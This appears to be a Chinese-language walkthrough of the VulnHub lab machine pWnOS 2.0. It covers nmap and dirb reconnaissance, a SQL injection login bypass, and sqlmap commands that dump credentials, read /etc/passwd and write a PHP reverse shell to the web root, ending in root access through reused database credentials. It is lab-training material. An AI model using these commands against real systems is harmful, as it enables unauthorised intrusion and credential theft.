靶机下载地址
pWnOS: 2.0 (Pre-Release) ~ VulnHub
靶机环境设置
信息收集
主机探测
sudo nmap -sn 10.10.10.0/24
发现目标靶机IP 10.10.10.100
初步扫描
sudo nmap -sT --min-rate 10000 -p- 10.10.10.100
可知22,80端口开放
详细信息扫描
sudo nmap -sT -sC -sV -O -p 22,80 10.10.10.100
可知
22/tcp open ssh OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.17 ((Ubuntu))
漏洞脚本扫描
sudo nmap -sT --script=vuln -p 22,80 10.10.10.100
可知一些有趣目录
| http-enum:
| /blog/: Blog
| /login.php: Possible admin folder
| /login/: Login page
| /info.php: Possible information file
| /icons/: Potentially interesting folder w/ directory listing
| /includes/: Potentially interesting directory w/ listing on 'apache/2.2.17 (ubuntu)'
| /index/: Potentially interesting folder
| /info/: Potentially interesting folder
|_ /register/: Potentially interesting folder
UDP扫描
sudo nmap -sU --top-ports 100 10.10.10.100
没有有效信息
目录扫描
sudo dirb http://10.10.10.100
---- Scanning URL: http://10.10.10.100/ ----
+ http://10.10.10.100/activate (CODE:302|SIZE:0)
==> DIRECTORY: http://10.10.10.100/blog/
+ http://10.10.10.100/cgi-bin/ (CODE:403|SIZE:288) => DIRECTORY: http://10.10.10.100/includes/
+ http://10.10.10.100/index (CODE:200|SIZE:854)
+ http://10.10.10.100/index.php (CODE:200|SIZE:854)
+ http://10.10.10.100/info (CODE:200|SIZE:50171)
+ http://10.10.10.100/info.php (CODE:200|SIZE:50040)
+ http://10.10.10.100/login (CODE:200|SIZE:1174)
+ http://10.10.10.100/register (CODE:200|SIZE:1562)
+ http://10.10.10.100/server-status (CODE:403|SIZE:293)
---- Entering directory: http://10.10.10.100/blog/ ----
漏洞发现
SQL注入
访问80端口
可以看到登录注册,可能存在SQL注入
输入单引号‘发现报错了,存在注入点,同时有报错信息。
输入'||1=1#作为成功登录进去,并且是管理员,但是并没有其它信息。
漏洞利用
获取表信息
使用SQLMAP爆破
sudo sqlmap -r sql --level 5 --risk 3 --dbs --dump --batch
成功爆破出一个用户,破解后密码是killerbeesareflying
但是无法ssh登录,也无法登录/blog
first_name:Dan
last_name:Privett
email:admin@isints.com
password:c2c4b4e51d9e23c02c15702c136c3e950ba9a4af(killerbeesareflying)
获取/etc/passwd
尝试用sqlmap查看/etc/passwd
sudo sqlmap -r sql --level 5 --risk 3 --file-read "/etc/passwd"
发现能够成功查看到
获取反弹shell
尝试用sqlmap写入反弹shell
sudo sqlmap -r sql --level 5 --risk 3 --file-write "php-reverse-shell.php" --file-dest "/var/www/includes/shell.php"
成功写入并在/includes/目录下找到
成功获取反弹shell
权限提升
在/var目录下找到敏感文件
mysqli_connect.php
发现数据库的用户名和密码
root
root@ISIntS
尝试ssh登录
成功登录,提权成功。
总结
本次靶机较简单,通过sql注入上传webshell,获取反弹shell,最后通过敏感文件发现数据库用户名密码,通过ssh登录成功到root。
其实/var/www目录下有一个假的敏感文件,账户root密码goodday,但是没办法登录。blog是一个simple php blog,可以通过访问blog目录的index.php查看源代码找到,版本号为0.4.0,也是有SQL注入和命令执行等许多漏洞。